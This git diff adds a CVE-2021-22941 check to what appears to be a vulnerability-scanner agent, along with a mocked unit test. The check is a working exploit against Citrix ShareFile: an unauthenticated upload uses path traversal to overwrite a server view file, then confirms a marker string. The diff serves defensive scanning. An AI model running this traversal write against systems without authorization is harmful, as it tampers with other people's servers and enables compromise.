diff --git a/agent/exploits/__init__.py b/agent/exploits/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py
new file mode 100644
index 00000000..61f45dc2
--- /dev/null
+++ b/agent/exploits/cve_2021_22941.py
@@ -0,0 +1,112 @@
+"""Agent Asteroid implementation for CVE-2021-22941"""
+
+import requests
+from ostorlab.agent.kb import kb
+from ostorlab.agent.mixins import agent_report_vulnerability_mixin
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+
+VULNERABILITY_TITLE = (
+    "Improper Access Control in Citrix ShareFile storage zones controller"
+)
+VULNERABILITY_REFERENCE = "CVE-2021-22941"
+VULNERABILITY_DESCRIPTION = (
+    "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may "
+    "allow an unauthenticated attacker to remotely compromise the storage zones controller."
+)
+
+DEFAULT_TIMEOUT = 90
+
+
+def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
+    boundary = "boundary"
+    body = "".join(
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n'
+        "\r\n"
+        f"{files['content_file']}\r\n" + f"--{boundary}--\r\n"
+    )
+    content_type = f"multipart/form-data; boundary={boundary}"
+    return body, content_type
+
+
+class CVE20222941Exploit(definitions.Exploit):
+    """
+    CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller
+    """
+
+    def accept(self, target: definitions.Target) -> bool:
+        target_uri = f"{target.scheme}://{target.host}"
+        try:
+            req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
+        except requests_exceptions.RequestException:
+            return False
+        return "ShareFile" in req.text
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        target_uri = f"{target.scheme}://{target.host}"
+        content_file = "A" * 4096
+        files = {"name": "text4", "filename": "text5", "content_file": content_file}
+        data, content_type = _encode_multipart_formdata(files)
+        headers = {"Content-Type": content_type}
+        payload = "__VULNERABLE__"
+        params = {
+            "uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml",
+            "bp": "123",
+            "accountid": "123",
+        }
+        try:
+            requests.post(
+                target_uri + "/upload.aspx",
+                data=data,
+                params=params,
+                headers=headers,
+                verify=False,
+                timeout=DEFAULT_TIMEOUT,
+            )
+            req = requests.get(
+                target_uri + "/configservice/Home/Error",
+                verify=False,
+                timeout=DEFAULT_TIMEOUT,
+            )
+        except requests_exceptions.RequestException:
+            return []
+        if payload not in req.text:
+            return []
+
+        vulnerability = self._generate_vulnerability_object(target_uri)
+        return [vulnerability]
+
+    def _generate_vulnerability_object(
+        self, target_uri: str
+    ) -> definitions.Vulnerability:
+        entry = kb.Entry(
+            title=VULNERABILITY_TITLE,
+            risk_rating="HIGH",
+            short_description=VULNERABILITY_DESCRIPTION,
+            description=VULNERABILITY_DESCRIPTION,
+            references={
+                "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}"
+            },
+            recommendation=(
+                "- Make sure to install the latest security patches from software vendor \n"
+                "- Update to the latest software version"
+            ),
+            security_issue=True,
+            privacy_issue=False,
+            has_public_exploit=False,
+            targeted_by_malware=False,
+            targeted_by_ransomware=False,
+            targeted_by_nation_state=False,
+        )
+        technical_detail = (
+            f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
+            f"{VULNERABILITY_TITLE}"
+        )
+        vulnerability = definitions.Vulnerability(
+            entry=entry,
+            technical_detail=technical_detail,
+            risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH,
+        )
+        return vulnerability
diff --git a/requirement.txt b/requirement.txt
index 5e5905c6..1180728a 100644
--- a/requirement.txt
+++ b/requirement.txt
@@ -1,2 +1,3 @@
 ostorlab[agent]
 rich
+requests
diff --git a/tests/exploits_test.py b/tests/exploits_test.py
new file mode 100644
index 00000000..4685ccba
--- /dev/null
+++ b/tests/exploits_test.py
@@ -0,0 +1,41 @@
+"""Unit tests for Agent Asteriod exploits"""
+import re
+
+import requests_mock as req_mock
+
+from agent.exploits import cve_2021_22941
+from agent import definitions
+
+
+def testCVE_2021_22941_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Unit test for CVE-2021-22941, case when target is vulnerable"""
+    target = definitions.Target(scheme="https", host="75.162.65.52", port=443)
+    exploit_instance = cve_2021_22941.CVE20222941Exploit()
+    requests_mock.post(re.compile("https://75.162.65.52"))
+    requests_mock.get(
+        re.compile("https://75.162.65.52"),
+        content=b'<!DOCTYPE html><html><head><meta charset="utf-8" />'
+        b'<meta name="viewport" content="width=device-width" />'
+        b"<title></title>"
+        b'<link href="/configservice/Content/css?v=WMr-pvK-ldSbNXHT-cT0d9QF2pqi7sqz_4MtKl04wlw1" rel="stylesheet"/>'
+        b'<script src="/configservice/bundles/modernizr?v="></script></head>'
+        b"<body>__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,"
+        b"4190,4190,1,638351359841918992,638351359844106518"
+        b'<script src="/configservice/bundles/jquery?v=Btq6NiodC7qP1zsuC2xUYWo89HSxJy2RWUt0n_7RLeM1"></script>'
+        b"</body></html>",
+    )
+
+    vulnerabilities = exploit_instance.check(target)
+    vulnerability = vulnerabilities[0]
+
+    assert (
+        vulnerability.entry.title
+        == "Improper Access Control in Citrix ShareFile storage zones controller"
+    )
+    assert (
+        vulnerability.technical_detail
+        == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control "
+        "in Citrix ShareFile storage zones controller"
+    )
diff --git a/tests/test-requirement.txt b/tests/test-requirement.txt
index a85bde23..80b4a938 100644
--- a/tests/test-requirement.txt
+++ b/tests/test-requirement.txt
@@ -3,3 +3,5 @@ pytest
 black
 mypy
 typing-extensions
+requests_mock
+types-requests